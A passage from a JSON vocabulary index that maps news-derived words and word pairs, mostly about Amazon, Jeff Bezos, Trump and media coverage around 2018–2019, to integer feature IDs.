demographic": 13428, "beautiful voice": 13429, "tweet jeff": 13430, "bezos pearlstein": 13431, "michael beckerman": 13432, "virginia retirement": 13433, "businesstelegraph": 13434, "despite privacy": 13435, "financially hurts": 13436, "recent withdrawal": 13437, "household employee": 13438, "bad brian": 13439, "ling kent": 13440, "salles convicted": 13441, "meredith": 13442, "website dedicated": 13443, "1971 bob": 13444, "escaped virginia": 13445, "acosta victory": 13446, "jeff just": 13447, "infographic": 13448, "paying retailers": 13449, "site says": 13450, "astronomical taxpayer": 13451, "insurance broker": 13452, "rider charged": 13453, "profit peddling": 13454, "arbitration rival": 13455, "utf8": 13456, "brazilian history": 13457, "venhuizen growth": 13458, "amazon dominance": 13459, "meddling initially": 13460, "smb market": 13461, "core audience": 13462, "entree": 13463, "boyfriends": 13464, "price cutting": 13465, "trump removed": 13466, "stretch run": 13467, "longest run": 13468, "metapack": 13469, "byline good": 13470, "winds expected": 13471, "handling trump": 13472, "markay": 13473, "fit different": 13474, "591 billion": 13475, "waving ghanaian": 13476, "businessman jeff": 13477, "allowing advertisers": 13478, "certain societal": 13479, "bounce market": 13480, "senate staffer": 13481, "party french": 13482, "dca": 13483, "john woolfolk": 13484, "roache": 13485, "von maur": 13486, "twilight international": 13487, "increased dominance": 13488, "blumenthal ct": 13489, "colombia trip": 13490, "house blue": 13491, "malkovich": 13492, "drug benefits": 13493, "frmr campaign": 13494, "frostbite": 13495, "billion annually": 13496, "oil rich": 13497, "851": 13498, "create produce": 13499, "kiese": 13500, "islamic ex": 13501, "phoenix woman": 13502, "compiling": 13503, "poverty pollution": 13504, "weighed": 13505, "a4ee q1": 13506, "prospects doorsteps": 13507, "small landowners": 13508, "defines extortion": 13509, "noncooperation": 13510, "newly patented": 13511, "pitch ap": 13512, "especially women": 13513, "graduate students": 13514, "video vaccines": 13515, "eruption cbs": 13516, "animation": 13517, "new evidence": 13518, "half separating": 13519, "swamp does": 13520, "competition alcoa": 13521, "creates": 13522, "econ\u00f4mico": 13523, "high shipping": 13524, "english 2019": 13525, "000 contractors": 13526, "11s disappointed": 13527, "famously allergic": 13528, "jet amazon": 13529, "actual cost": 13530, "chief toni": 13531, "costco wholesale": 13532, "billion netflix": 13533, "ccoomadrid": 13534, "wong sessions": 13535, "stephen colbert": 13536, "won believe": 13537, "executives kovach": 13538, "direct assault": 13539, "inequality ahead": 13540, "senate armed": 13541, "york jets": 13542, "kristen aiken": 13543, "ahead canada": 13544, "france calls": 13545, "probe federal": 13546, "eads": 13547, "additional office": 13548, "episodes follows": 13549, "colorful canvas": 13550, "start demanding": 13551, "articlebundlehash": 13552, "different hat": 13553, "shares immediately": 13554, "major metro": 13555, "wandering": 13556, "curb immigration": 13557, "sexual arousal": 13558, "written op": 13559, "senator claire": 13560, "net jesse": 13561, "turn losses": 13562, "economies depend": 13563, "29348 s4a": 13564, "group distinguishes": 13565, "occasions ironically": 13566, "preordains": 13567, "china north": 13568, "fallows anthony": 13569, "outlawed": 13570, "times editor": 13571, "named john": 13572, "street strategies": 13573, "strip headliner": 13574, "1999 time": 13575, "resources located": 13576, "close ally": 13577, "queens saying": 13578, "v9 i9": 13579, "aforementioned": 13580, "brk dumped": 13581, "smaller stuff": 13582, "asshole donald": 13583, "race 56am": 13584, "culture change": 13585, "kicking ass": 13586, "alison kosik": 13587, "amherst": 13588, "company oppo": 13589, "california zuckerberg": 13590, "pandey told": 13591, "legal guest": 13592, "333": 13593, "just crashed": 13594, "establishment upside": 13595, "thedenverchannel": 13596, "numerous media": 13597, "harbouring dark": 13598, "turnaround prospects": 13599, "rumor": 13600, "saotome returned": 13601, "protecting tech": 13602, "delegitimize": 13603, "delivery game": 13604, "nutting": 13605, "liability owns": 13606, "configobj": 13607, "commitments": 13608, "moving": 13609, "friendly approach": 13610, "store business": 13611, "muteplayerenabled false": 13612, "santorum pa": 13613, "hurston tells": 13614, "grave": 13615, "tenuous": 13616, "donor disclosure": 13617, "wall": 13618, "savagely mock": 13619, "announcement meant": 13620, "nadia murad": 13621, "nejjykwedt nathan": 13622, "rheon": 13623, "pharmaceutical trial": 13624, "manson follower": 13625, "tirades amazon": 13626, "narcissistic": 13627, "trucks retail": 13628, "power targeted": 13629, "landfall": 13630, "state suspended": 13631, "just dementia": 13632, "trump obsessed": 13633, "blunt": 13634, "index tumbled": 13635, "representative hopefully": 13636, "ruling amazon": 13637, "concern saying": 13638, "bringing john": 13639, "upheld": 13640, "faster storage": 13641, "duterte": 13642, "ukhashtags ateurobiz": 13643, "deadly force": 13644, "zaske": 13645, "include present": 13646, "plain": 13647, "store developed": 13648, "sweeping new": 13649, "navy destroyer": 13650, "divergent": 13651, "hotels cults": 13652, "thatis coming": 13653, "amazon expanded": 13654, "breaking elkan": 13655, "public services": 13656, "policy stimulus": 13657, "portfolio managers": 13658, "shell companies": 13659, "viewpoints": 13660, "litigator devin": 13661, "giant outright": 13662, "times saul": 13663, "intrigue sexual": 13664, "exciting cause": 13665, "proceed lessons": 13666, "latest updates": 13667, "complicated subway": 13668, "maybe just": 13669, "half amazon": 13670, "elections whatsapp": 13671, "voters hoping": 13672, "agonized": 13673, "just luck": 13674, "profile puts": 13675, "combined consist": 13676, "million banking": 13677, "unsuccessful attempts": 13678, "anya tynio": 13679, "grants bolster": 13680, "gibney going": 13681, "federation pwc": 13682, "completely legitimate": 13683, "amazon taxes": 13684, "climbed north": 13685, "rights lawyer": 13686, "florian hense": 13687, "writing book": 13688, "shares worth": 13689, "press information": 13690, "delegate": 13691, "tcot tnmorg": 13692, "risk rep": 13693, "speaking people": 13694, "bunch aws": 13695, "wasn based": 13696, "corporate figure": 13697, "outside kirstjen": 13698, "amazon applications": 13699, "states delivers": 13700, "executive lectures": 13701, "follow ben": 13702, "spotlight rubenstein": 13703, "years pressuring": 13704, "author daniel": 13705, "sarcastically": 13706, "sees different": 13707, "queens home": 13708, "shot footage": 13709, "pijijiapan": 13710, "amazon secured": 13711, "goods purchased": 13712, "roughly 238": 13713, "martha stewart": 13714, "user computers": 13715, "morals clause": 13716, "chad robins": 13717, "space ants": 13718, "coup flipping": 13719, "article critical": 13720, "easy propaganda": 13721, "survey health": 13722, "bartiromo couple": 13723, "democrats surprisingly": 13724, "lisota burgeoning": 13725, "mair emailed": 13726, "stable business": 13727, "including credit": 13728, "anti trump": 13729, "spate": 13730, "amsterdam based": 13731, "twitter post": 13732, "released politico": 13733, "blasio accountable": 13734, "futureworks makerspace": 13735, "industry reveals": 13736, "laws compared": 13737, "shopping extravaganza": 13738, "nascent collaboration": 13739, "report patriots": 13740, "romania money": 13741, "facet partisan": 13742, "asked don": 13743, "philip bump": 13744, "sipping": 13745, "central nervous": 13746, "don earn": 13747, "amazon requests": 13748, "spectrem": 13749, "profit forecasts": 13750, "jerusalem doing": 13751, "practise": 13752, "biggest publicly": 13753, "contentment leave": 13754, "pillpack online": 13755, "uninterested": 13756, "allegations politics": 13757, "reliable systems": 13758, "skin eliana": 13759, "alleviate poverty": 13760, "videotape bob": 13761, "atomic energy": 13762, "watching currentvideocollectionid": 13763, "employees yikes": 13764, "day daily": 13765, "rekognition facial": 13766, "surrounds": 13767, "samir": 13768, "federal benefits": 13769, "marketplace owned": 13770, "exaltation": 13771, "moral": 13772, "city reuters": 13773, "army creates": 13774, "accuser nyt": 13775, "officially hits": 13776, "defiant": 13777, "scenarios": 13778, "1980": 13779, "channel advertising": 13780, "sears combined": 13781, "server apple": 13782, "host jimmy": 13783, "i9 var": 13784, "vigorous competitor": 13785, "content enter": 13786, "knopf": 13787, "chief described": 13788, "spaceflight company": 13789, "regulators struggling": 13790, "god given": 13791, "trump phoenix": 13792, "decode zignal": 13793, "prevails": 13794, "service senior": 13795, "poet translator": 13796, "disappointing earnings": 13797, "room amazon": 13798, "right value": 13799, "gondry": 13800, "leery": 13801, "gerstein": 13802, "diesel vans": 13803, "female make": 13804, "court handcuffed": 13805, "upright": 13806, "live dim": 13807, "francisco chronicle": 13808, "accelerated": 13809, "shared": 13810, "68m shares": 13811, "threshold triggered": 13812, "exploring establishing": 13813, "amazon adds": 13814, "law 2018": 13815, "blends": 13816, "firms trump": 13817, "000 registered": 13818, "interests experts": 13819, "potentially shutting": 13820, "michigan preliminary": 13821, "attack published": 13822, "ordinary shares": 13823, "released bezos": 13824, "current tech": 13825, "standard talking": 13826, "mail industry": 13827, "prelim investigation": 13828, "inexperienced": 13829, "communications professor": 13830, "central intelligence": 13831, "a7 t5": 13832, "sarahemcbride": 13833, "females": 13834, "book work": 13835, "weightier": 13836, "rhode": 13837, "touch jeffrey": 13838, "wikileaks": 13839, "indicating sharp": 13840, "paint used": 13841, "rapidly including": 13842, "america outside": 13843, "social business": 13844, "homeless sleeping": 13845, "work schools": 13846, "country tonight": 13847, "money movement": 13848, "hendel": 13849, "client memo": 13850, "gw bush": 13851, "business president": 13852, "publicly owned": 13853, "career law": 13854, "nature china": 13855, "supercharge": 13856, "positive proof": 13857, "food additives": 13858, "aggressive reporting": 13859, "released request": 13860, "points today": 13861, "technology giant": 13862, "joining amazon": 13863, "billionaires jeff": 13864, "emir": 13865, "legal vote": 13866, "knoedler": 13867, "viglasky dance": 13868, "dj told": 13869, "richard painter": 13870, "tower commercial": 13871, "rand adam": 13872, "009cd8": 13873, "speakerryan senatemajldr": 13874, "800 duty": 13875, "criticisms leveled": 13876, "2070 isn": 13877, "oak cap": 13878, "monopolies create": 13879, "plos": 13880, "bottle": 13881, "hooded": 13882, "amazon global": 13883, "marked turnaround": 13884, "black job": 13885, "price investorplace": 13886, "personally gotten": 13887, "bloomberg apple": 13888, "worthwhile": 13889, "billion contingent": 13890, "video sited": 13891, "corporate titans": 13892, "thrones season": 13893, "employment laws": 13894, "citi andrew": 13895, "beat fiscal": 13896, "president anger": 13897, "senior department": 13898, "argue executive": 13899, "blackburn tenn": 13900, "employees fair": 13901, "timesince": 13902, "employment increased": 13903, "tech storm": 13904, "stressful trump": 13905, "impulsively": 13906, "safety continually": 13907, "amazon elastic": 13908, "phrase bezos": 13909, "npr california": 13910, "shakiness": 13911, "1st multi": 13912, "duckworth amazon": 13913, "independent human": 13914, "refugee workers": 13915, "repercussions": 13916, "office process": 13917, "employees overseas": 13918, "shoots": 13919, "related links": 13920, "doubt aware": 13921, "allegedly threatening": 13922, "boss john": 13923, "1075 words": 13924, "house profits": 13925, "perfect economic": 13926, "wikileaks editor": 13927, "federal shutdown": 13928, "virginia wanted": 13929, "dot secretary": 13930, "shopping locally": 13931, "ceo net": 13932, "juggernaut faces": 13933, "bestsellers": 13934, "scientists estimate": 13935, "alleged retaliation": 13936, "alleged saudi": 13937, "executive team": 13938, "deck": 13939, "love nest": 13940, "investors tried": 13941, "requiring online": 13942, "overtly political": 13943, "master key": 13944, "medical devices": 13945, "unfazed": 13946, "photo stan": 13947, "rouge business": 13948, "reappraises henry": 13949, "billion question": 13950, "citywide ferry": 13951, "jason segel": 13952, "plant prefab": 13953, "company adnoc": 13954, "times sold": 13955, "technology bbc": 13956, "nerves sears": 13957, "rubin": 13958, "rival publication": 13959, "enquirer chief": 13960, "endearment": 13961, "thrilling ride": 13962, "financial earnings": 13963, "yorker journalist": 13964, "faced pressure": 13965, "camp decide": 13966, "presorted": 13967, "state point": 13968, "office employs": 13969, "chad": 13970, "stier president": 13971, "ban including": 13972, "antics": 13973, "fair pay": 13974, "street names": 13975, "political ideologies": 13976, "sean hayes": 13977, "unaccompanied": 13978, "238 cities": 13979, "enforce laws": 13980, "bbc contemporary": 13981, "internal anti": 13982, "shows surge": 13983, "capital funds": 13984, "commissioner cecilia": 13985, "don serve": 13986, "budget embedded": 13987, "pipe bomb": 13988, "major support": 13989, "winner cbs": 13990, "anthony anderson": 13991, "valley donors": 13992, "millennials choose": 13993, "match summit": 13994, "bezos local": 13995, "dzanc women": 13996, "unwritten": 13997, "mixed economy": 13998, "potential sale": 13999, "leprechaun": 14000, "senate judiciary": 14001, "curveare": 14002, "retail products": 14003, "wearing just": 14004, "second justice": 14005, "initially trying": 14006, "analyst understood": 14007, "car decals": 14008, "significantly throttle": 14009, "shot showing": 14010, "858": 14011, "ibm personal": 14012, "stocks picked": 14013, "demand sell": 14014, "106": 14015, "treat chronic": 14016, "impact big": 14017, "headlineplaintext amazon": 14018, "sens mitch": 14019, "wrong group": 14020, "avoids presidential": 14021, "prior articles": 14022, "francisco ap": 14023, "scandal plagued": 14024, "coming competition": 14025, "don listen": 14026, "songwriter tim": 14027, "french way": 14028, "physical gold": 14029, "blasio governor": 14030, "unfunded retiree": 14031, "default_default index": 14032, "neutrality online": 14033, "states new": 14034, "gold tumbled": 14035, "protected bezos": 14036, "anna cabaniss": 14037, "castrate pigs": 14038, "court blocks": 14039, "wide retail": 14040, "weekends": 14041, "salacious materials": 14042, "issues gen": 14043, "exas 109": 14044, "2018 pg": 14045, "entice": 14046, "great gentleman": 14047, "protest aimed": 14048, "retracting": 14049, "increase annual": 14050, "notice": 14051, "partial": 14052, "family ancestral": 14053, "coming given": 14054, "payroll taxes": 14055, "using gun": 14056, "stifel": 14057, "services making": 14058, "newspaper upgrades": 14059, "creating schisms": 14060, "firms undertake": 14061, "kraft prostitution": 14062, "seamless": 14063, "prime amazon": 14064, "napster pandora": 14065, "merged entity": 14066, "chain standards": 14067, "cliff owen": 14068, "alaska airlines": 14069, "shortlist yesterday": 14070, "legitimate international": 14071, "disputatious": 14072, "texts emails": 14073, "refundable tax": 14074, "killing confession": 14075, "rewritten": 14076, "brown amazon": 14077, "faith community": 14078, "ignored bezos": 14079, "pigeon composition": 14080, "warner holdings": 14081, "amazon pop": 14082, "2018 colossal": 14083, "phoenix": 14084, "return home": 14085, "office applications": 14086, "9000": 14087, "ads prime": 14088, "day face": 14089, "department worked": 14090, "important routines": 14091, "11justices": 14092, "maloney expressed": 14093, "massive online": 14094, "written complaints": 14095, "steele report": 14096, "icann inquired": 14097, "dial tone": 14098, "dire concerns": 14099, "insanely": 14100, "colors": 14101, "new capabilities": 14102, "online credit": 14103, "wasn scheduled": 14104, "president dealings": 14105, "guide 150": 14106, "nation cable": 14107, "workers alike": 14108, "cattle rancher": 14109, "text president": 14110, "robach": 14111, "verge noted": 14112, "session including": 14113, "epidemic disease": 14114, "windsor castle": 14115, "horror flick": 14116, "malicious accounts": 14117, "called bitcoin": 14118, "post lobbyist": 14119, "feel special": 14120, "chips allowed": 14121, "p9x l9x": 14122, "curbed shares": 14123, "music player": 14124, "billionaire backed": 14125, "effectively banning": 14126, "cb var": 14127, "returned 115": 14128, "livestreaming sibling": 14129, "howard hughes": 14130, "kidney": 14131, "coverage read": 14132, "silver needs": 14133, "burdens hurts": 14134, "saying ratings": 14135, "mismatching faces": 14136, "deputyattorney general": 14137, "hungry girl": 14138, "stop relay": 14139, "representative alexandriaocasio": 14140, "ceo billionaire": 14141, "eleni vlachos": 14142, "times article": 14143, "story idina": 14144, "enquirer ne": 14145, "general crisis": 14146, "tiger mom": 14147, "route north": 14148, "consumer love": 14149, "investigator report": 14150, "did write": 14151, "markets tweet": 14152, "larsson": 14153, "cathy barrow": 14154, "account deletion": 14155, "short video": 14156, "neighbors including": 14157, "transgenders": 14158, "tumulty": 14159, "big driver": 14160, "families education": 14161, "philippine cinema": 14162, "bikes": 14163, "include bernie": 14164, "runstad company": 14165, "trump diehards": 14166, "charitable donation": 14167, "washington amid": 14168, "welfare": 14169, "pulling directly": 14170, "worth approximately": 14171, "deadline extension": 14172, "witchfinder": 14173, "sessions holds": 14174, "castronovo host": 14175, "world\u0430that substantial": 14176, "worried gift": 14177, "economy jonathan": 14178, "fell slightly": 14179, "amazon judson": 14180, "exit washington": 14181, "provide comprehensive": 14182, "offering steep": 14183, "appropriately highlighted": 14184, "annual compensation": 14185, "brands opening": 14186, "bruised": 14187, "decision van": 14188, "deaf disabled": 14189, "budging": 14190, "willhoit": 14191, "streets": 14192, "outer borough": 14193, "customers upset": 14194, "private confidential": 14195, "cr mideast": 14196, "fresh blow": 14197, "loan portfolios": 14198, "discourse better": 14199, "exasperatedly": 14200, "blackmail allegations": 14201, "ecosystem potentially": 14202, "women 2019": 14203, "announcing divorce": 14204, "reportedly makes": 14205, "2019 slowdown": 14206, "pat trump": 14207, "specific conduct": 14208, "nangs": 14209, "low gas": 14210, "youtube lilly": 14211, "house coverage": 14212, "directly pressured": 14213, "720 foreign": 14214, "force d16991847": 14215, "council hearing": 14216, "discovered alive": 14217, "denied details": 14218, "included emails": 14219, "executive members": 14220, "nude": 14221, "billion revenue": 14222, "resided": 14223, "twitterstorm": 14224, "brownworth": 14225, "time understand": 14226, "presidential tweet": 14227, "don bribe": 14228, "amzn stake": 14229, "office alum": 14230, "weird huh": 14231, "j808x8vl6c eric": 14232, "exploding": 14233, "different bags": 14234, "international release": 14235, "video california": 14236, "getinstance playvideo": 14237, "industry captains": 14238, "opinion good": 14239, "retail links": 14240, "kinja": 14241, "jumaane williams": 14242, "travel increasingly": 14243, "backed away": 14244, "navarro navarro": 14245, "century postal": 14246, "produced magazine": 14247, "complicity coincides": 14248, "cnbc smaller": 14249, "reporter politico": 14250, "ran high": 14251, "spent tens": 14252, "big catalysts": 14253, "google doubleclick": 14254, "nan": 14255, "sector thousands": 14256, "technology earnings": 14257, "eternal correctness": 14258, "despite competitors": 14259, "brzezinski accused": 14260, "antitrust questions": 14261, "received subsidies": 14262, "underutilized": 14263, "businesses prime": 14264, "trump barr": 14265, "usps actually": 14266, "garland covers": 14267, "statement alongside": 14268, "trump desired": 14269, "city just": 14270, "officials urge": 14271, "podcastone racist": 14272, "robinson childish": 14273, "charges stocks": 14274, "french tycoon": 14275, "quick delivery": 14276, "safra catz": 14277, "distributors involved": 14278, "tm animosity": 14279, "herders": 14280, "mediametadatacallbacks": 14281, "sparked protests": 14282, "goblin": 14283, "publish neutral": 14284, "myles": 14285, "schreurs": 14286, "massive success": 14287, "heated feedback": 14288, "sent 740": 14289, "county fairs": 14290, "predicting 2019": 14291, "groups using": 14292, "boyce upholt": 14293, "trump offered": 14294, "fashion nuances": 14295, "diversity human": 14296, "suggests ami": 14297, "2017 article": 14298, "including nomura": 14299, "certain cities": 14300, "women long": 14301, "promoted alternatives": 14302, "deter": 14303, "calgary": 14304, "asphalt shingles": 14305, "sherman act": 14306, "maybe facebook": 14307, "news content": 14308, "members praise": 14309, "twitter cracking": 14310, "london los": 14311, "oz letter": 14312, "cosmopolitanism": 14313, "overvalued stock": 14314, "insensitive mockery": 14315, "story nvidia": 14316, "cities nationally": 14317, "record 2121": 14318, "martin host": 14319, "expensive options": 14320, "remote obviously": 14321, "dizzying pace": 14322, "wealthy donators": 14323, "domenech fox": 14324, "young child": 14325, "hard numbers": 14326, "product support": 14327, "ixlffnkhqx": 14328, "massachusetts gov": 14329, "bezos owned": 14330, "antitrust partner": 14331, "little neck": 14332, "service contracts": 14333, "spent record": 14334, "mail contract": 14335, "companies lower": 14336, "noted bucking": 14337, "retailers love": 14338, "coke ceo": 14339, "thirteen": 14340, "prevention treatment": 14341, "post newly": 14342, "direct evidence": 14343, "prevention florida": 14344, "billion merger": 14345, "founder personal": 14346, "build consensus": 14347, "traffic control": 14348, "today revisits": 14349, "readily say": 14350, "lackeys": 14351, "pope francis": 14352, "warren senwarren": 14353, "globes 2019": 14354, "carries zacks": 14355, "michael doesn": 14356, "rosalind": 14357, "883": 14358, "ish saga": 14359, "investigators reportedly": 14360, "mistakenly": 14361, "party butt": 14362, "lockhart starting": 14363, "place star": 14364, "demanding funding": 14365, "debt eric": 14366, "misdirected": 14367, "survived shark": 14368, "black balloon": 14369, "1456et copyright": 14370, "mma salles": 14371, "called flex": 14372, "amzn rejected": 14373, "friends claim": 14374, "quirky novel": 14375, "billion wasn": 14376, "owner creates": 14377, "toyrs": 14378, "cook speaks": 14379, "matter president": 14380, "new stack": 14381, "decimal point": 14382, "basically self": 14383, "list thanks": 14384, "commission hasn": 14385, "zoning issues": 14386, "fracturing geopolitics": 14387, "stories fox": 14388, "weakest profit": 14389, "recent stock": 14390, "trump caravan": 14391, "charters regulates": 14392, "cable media": 14393, "agencies hosting": 14394, "competition technology": 14395, "population demographics": 14396, "homegrown": 14397, "restructuring abramowitz": 14398, "powerful las": 14399, "owens check": 14400, "release wall": 14401, "americans love": 14402, "service beginning": 14403, "international partners": 14404, "base shrinks": 14405, "largest brewer": 14406, "standards decade": 14407, "appealed directly": 14408, "analysts expected": 14409, "gigantic storm": 14410, "monsignor": 14411, "clemency thanks": 14412, "years iduskcn1ly16z": 14413, "israel news": 14414, "intimate look": 14415, "today today": 14416, "foxconn technology": 14417, "parachuting": 14418, "succeed yes": 14419, "woodbridge police": 14420, "new competitor": 14421, "ongoing dialogue": 14422, "bruno magli": 14423, "calls delivery": 14424, "commercial moved": 14425, "held 600": 14426, "love austin": 14427, "scammers": 14428, "manager dan": 14429, "post addressed": 14430, "talks border": 14431, "backlash facebook": 14432, "2005 according": 14433, "inventing new": 14434, "hashed": 14435, "maxsa founder": 14436, "nouns": 14437, "ranging competition": 14438, "slip": 14439, "post says": 14440, "endorsed councilman": 14441, "bull eye": 14442, "aimless": 14443, "johnstown flood": 14444, "george mean": 14445, "sent straight": 14446, "representative alexandria": 14447, "greta": 14448, "valid email": 14449, "updatecurrentlyplaying": 14450, "tax credits": 14451, "tinder okcupid": 14452, "miserable": 14453, "american companies": 14454, "highlights importance": 14455, "groups legislators": 14456, "president seton": 14457, "pivots": 14458, "issues economy": 14459, "confronts toughest": 14460, "pithy": 14461, "tv host": 14462, "detailing trump": 14463, "assets limited": 14464, "days stewing": 14465, "orders barring": 14466, "puzzlement": 14467, "slow deforestation": 14468, "money hate": 14469, "product earlier": 14470, "totally relatable": 14471, "story president": 14472, "families dig": 14473, "acclaim suggests": 14474, "woke economists": 14475, "capital israelis": 14476, "luckin coffee": 14477, "fedex negotiated": 14478, "marilyn glynn": 14479, "iphone series": 14480, "100 negative": 14481, "conditions saying": 14482, "herera jonathan": 14483, "proposal follows": 14484, "post fedex": 14485, "magazine owned": 14486, "places ecologically": 14487, "arm amazon": 14488, "columbia law": 14489, "head ministries": 14490, "bottle minerva": 14491, "nov": 14492, "cancer medicine": 14493, "energy sector": 14494, "results saying": 14495, "impressive range": 14496, "original film": 14497, "agency william": 14498, "oakworth": 14499, "illegal entry": 14500, "outperforming": 14501, "reaching trade": 14502, "moisturize": 14503, "directly denied": 14504, "easily connect": 14505, "sell just": 14506, "mills": 14507, "farr joins": 14508, "renamed onewest": 14509, "confiscated virigina": 14510, "cookie": 14511, "mainly giveaway": 14512, "military records": 14513, "yourterm strap": 14514, "washington additional": 14515, "times devilman": 14516, "amazon contributions": 14517, "rep adam": 14518, "creates new": 14519, "cnn sent": 14520, "scorsese": 14521, "offer amazon": 14522, "owns regularly": 14523, "validating": 14524, "investors turn": 14525, "life depends": 14526, "fee charged": 14527, "norm": 14528, "protection cbp": 14529, "prove significant": 14530, "bawdy": 14531, "reading comprehension": 14532, "subtitles given": 14533, "line straight": 14534, "tim crawford": 14535, "major assault": 14536, "hostility flowing": 14537, "reuters newscom": 14538, "soy moratorium": 14539, "incognita": 14540, "financial assistance": 14541, "tabloid received": 14542, "snl bezos": 14543, "common cause": 14544, "focused partnership": 14545, "long shadow": 14546, "investment number": 14547, "citi analyst": 14548, "asking people": 14549, "closing": 14550, "min read": 14551, "drivers tech": 14552, "vine reviews": 14553, "growth ticked": 14554, "various grounds": 14555, "rat video": 14556, "maylor ma_compt_maylor": 14557, "delivery drones": 14558, "dropped dramatically": 14559, "mortifying messages": 14560, "caroline kepnes": 14561, "wrote blog": 14562, "b8 l8": 14563, "embarrassing photos": 14564, "instead resulting": 14565, "urging ami": 14566, "private clinics": 14567, "nutshell": 14568, "time noting": 14569, "wants major": 14570, "read fork": 14571, "liesman": 14572, "numerous state": 14573, "lowest growth": 14574, "open large": 14575, "bad headlines": 14576, "heidi hagen": 14577, "unemployed": 14578, "deforested area": 14579, "start given": 14580, "called karen": 14581, "cars live": 14582, "named finance": 14583, "market pulse": 14584, "adhd": 14585, "occupational safety": 14586, "social legitimacy": 14587, "snl parody": 14588, "sachs johnson": 14589, "dumas": 14590, "trump staff": 14591, "women refugee": 14592, "stanley did": 14593, "cohen pleaded": 14594, "confuse consumers": 14595, "google promoted": 14596, "nondefense purpose": 14597, "changing amazon": 14598, "right information": 14599, "way joe": 14600, "long enshrined": 14601, "dan goure": 14602, "potential offered": 14603, "singleton lazarus": 14604, "rx": 14605, "400 list": 14606, "privatization": 14607, "japans": 14608, "european army": 14609, "clearly signaled": 14610, "adelaide": 14611, "airstrikes": 14612, "vis": 14613, "inf treaty": 14614, "author novels": 14615, "bolsonaro visited": 14616, "patents means": 14617, "isn yeller": 14618, "couple months": 14619, "big monopolies": 14620, "vulnerable kids": 14621, "include athletic": 14622, "jude": 14623, "drew immediate": 14624, "solid state": 14625, "warehouses ceo": 14626, "apprentice program": 14627, "florida education": 14628, "tectonic": 14629, "wealthiest woman": 14630, "electric words": 14631, "preparing antitrust": 14632, "political organizing": 14633, "brazilian oil": 14634, "rational sound": 14635, "company partnership": 14636, "writing taking": 14637, "post claiming": 14638, "kelly sadler": 14639, "senator spoke": 14640, "bank financial": 14641, "reason despite": 14642, "trade imbroglios": 14643, "deutsch explained": 14644, "kudlow expressed": 14645, "elliot ackerman": 14646, "bezos criticized": 14647, "radio station": 14648, "sacrifice ritual": 14649, "sidekicks": 14650, "particular associated": 14651, "baby shower": 14652, "poverty communities": 14653, "280 million": 14654, "despising amazon": 14655, "write evaluations": 14656, "lead space": 14657, "805": 14658, "bothers": 14659, "proclaimed adulterous": 14660, "nice investigative": 14661, "508 points": 14662, "diverse": 14663, "california foodways": 14664, "line post": 14665, "2016 describing": 14666, "nyc doesn": 14667, "dima": 14668, "manor post": 14669, "muted larcker": 14670, "fibreglass": 14671, "supplemented": 14672, "means lot": 14673, "child garden": 14674, "wrong email": 14675, "senator ron": 14676, "idiot kelly": 14677, "collaborators": 14678, "mc ght": 14679, "impeach donald": 14680, "way propel": 14681, "depressing post": 14682, "exg54imyko santti13": 14683, "prairie chicago": 14684, "late 2017": 14685, "worldwide commerce": 14686, "bribe money": 14687, "primary election": 14688, "newspapers used": 14689, "caputo": 14690, "lissette": 14691, "general feminist": 14692, "friend neighbor": 14693, "flooding beer": 14694, "account bezos": 14695, "lose customers": 14696, "independent businesses": 14697, "know rep": 14698, "exclusion": 14699, "pecker says": 14700, "2200 target": 14701, "joe buck": 14702, "citi internet": 14703, "thrills": 14704, "amazon calling": 14705, "tv executive": 14706, "alleged exploitation": 14707, "bring bags": 14708, "hysterics": 14709, "telecom development": 14710, "buy stays": 14711, "cross species": 14712, "james joyce": 14713, "amazonuk amazon": 14714, "volume lower": 14715, "deliberately purchased": 14716, "trial separation": 14717, "foxnews": 14718, "hizzoner photo": 14719, "verdi": 14720, "industry term": 14721, "wired editor": 14722, "west life": 14723, "boothe": 14724, "longtime favorite": 14725, "goldcrest project": 14726, "recognition": 14727, "meeting cnbc": 14728, "particularly disliked": 14729, "infrastructure fossils": 14730, "hearing transcript": 14731, "copp": 14732, "9110": 14733, "won seek": 14734, "america right": 14735, "greed": 14736, "week nato": 14737, "2018 american": 14738, "float left": 14739, "boost prime": 14740, "clip herera": 14741, "opposition group": 14742, "mismanaged younger": 14743, "mainframe gains": 14744, "050": 14745, "emboldens": 14746, "diversity inclusion": 14747, "outspoken anti": 14748, "suffered heart": 14749, "blasts trump": 14750, "official according": 14751, "02m worth": 14752, "hui leong": 14753, "controversy": 14754, "master": 14755, "clarkin4 bloomberg": 14756, "plagiarism conceded": 14757, "overnight health": 14758, "support better": 14759, "german cars": 14760, "work action": 14761, "morning quote": 14762, "important market": 14763, "patriots soapbox": 14764, "crime story": 14765, "musicians": 14766, "recession related": 14767, "bleak version": 14768, "amazon banners": 14769, "fsf9szc24h": 14770, "fuel wages": 14771, "tom metcalf": 14772, "certain standards": 14773, "large base": 14774, "political vulnerability": 14775, "ai work": 14776, "overwhelming unpopularity": 14777, "mccain az": 14778, "managing cloud": 14779, "process governor": 14780, "screwdriver": 14781, "innuendo": 14782, "counterfeiting": 14783, "storylines": 14784, "cathedrals": 14785, "alleged anti": 14786, "trading account": 14787, "president hardline": 14788, "community does": 14789, "google treatment": 14790, "prattplus commerce": 14791, "hq2 watchers": 14792, "phallic": 14793, "primetime star": 14794, "scholarship type": 14795, "desiree afuye": 14796, "upgraded facilities": 14797, "pressure drug": 14798, "german couple": 14799, "elmo loves": 14800, "stop featured": 14801, "kingdom crown": 14802, "perforce": 14803, "deport": 14804, "griffeth mcdonald": 14805, "agency agents": 14806, "hashtags popular": 14807, "needy amazon": 14808, "wholesome games": 14809, "outstanding": 14810, "leadership style": 14811, "waged battles": 14812, "online advertisement": 14813, "courtland": 14814, "senator elizabeth": 14815, "1257et copyright": 14816, "forced union": 14817, "hands argue": 14818, "alucard inspired": 14819, "murphy brown": 14820, "media filtering": 14821, "title amazon": 14822, "responded amazon": 14823, "atmospheric temperature": 14824, "e8 s8": 14825, "billion wiped": 14826, "brothel": 14827, "ann wilson": 14828, "particularly poor": 14829, "congratulate": 14830, "1st stop": 14831, "753": 14832, "years creating": 14833, "time page": 14834, "rippling": 14835, "0207 782": 14836, "beijing region": 14837, "gtld battle": 14838, "method hondurans": 14839, "apply prompting": 14840, "opening brazil": 14841, "alicia": 14842, "works better": 14843, "cooke business": 14844, "irony": 14845, "extracting public": 14846, "report commissioned": 14847, "blueprint": 14848, "oversharing heres": 14849, "views contrary": 14850, "world billionaire": 14851, "family law": 14852, "phrase fake": 14853, "bolt": 14854, "fewer immigrants": 14855, "adjacent companies": 14856, "bender eventually": 14857, "riebold ricriebold": 14858, "collectively printed": 14859, "ceo tim": 14860, "officials slowly": 14861, "means 